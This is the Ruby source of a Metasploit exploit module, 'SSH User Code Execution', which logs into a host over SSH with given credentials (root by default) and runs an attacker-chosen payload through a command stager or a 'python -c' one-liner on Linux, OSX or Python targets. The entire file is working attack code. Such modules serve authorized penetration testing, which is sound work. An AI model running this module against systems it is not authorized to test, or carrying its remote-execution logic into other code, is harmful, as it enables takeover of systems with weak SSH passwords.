##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  attr_accessor :ssh_socket

  def initialize
    super(
      'Name'             => 'SSH User Code Execution',
      'Description'      => %q{
        This module connects to the target system and executes the necessary
        commands to run the specified payload via SSH. If a native payload is
        specified, an appropriate stager will be used.
      },
      'Author'           => ['Spencer McIntyre', 'Brandon Knight'],
      'References'       =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'          => MSF_LICENSE,
      'Privileged'       => true,
      'DefaultOptions'   =>
        {
          'PrependFork'  => 'true',
          'EXITFUNC'     => 'process'
        },
      'Payload'          =>
        {
          'Space'        => 4096,
          'BadChars'     => "",
          'DisableNops'  => true
        },
      'Platform'         => %w{ linux osx python },
      'Targets'          =>
        [
          [ 'Linux x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Linux x64',
            {
              'Arch'     => ARCH_X64,
              'Platform' => 'linux'
            }
          ],
          [ 'OSX x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'osx'
            }
          ],
          [ 'Python',
            {
              'Arch'     => ARCH_PYTHON,
              'Platform' => 'python'
            }
          ]
        ],
      'CmdStagerFlavor'  => %w{ bourne echo printf },
      'DefaultTarget'    => 0,
      # For the CVE
      'DisclosureDate'   => 'Jan 01 1999'
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
        OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
        OptString.new('RHOST', [ true, "The target address" ]),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
      ]
    )
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing #{cmd}")
    begin
      Timeout.timeout(3) do
        self.ssh_socket.exec!("#{cmd}\n")
      end
    rescue ::Exception
    end
  end

  def do_login(ip, user, pass, port)
    factory = ssh_socket_factory
    opt_hash = {
      :auth_methods  => ['password', 'keyboard-interactive'],
      :port          => port,
      :use_agent     => false,
      :config        => false,
      :password      => pass,
      :proxy         => factory,
      :non_interactive => true
    }

    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    if not self.ssh_socket
      fail_with(Failure::Unknown, 'Failed to start SSH socket')
    end
    return
  end

  def exploit
    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])

    print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
    if target['Platform'] == 'python'
      execute_command("python -c \"#{payload.encoded}\"")
    else
      execute_cmdstager({:linemax => 500})
    end

    self.ssh_socket.close
  end
end
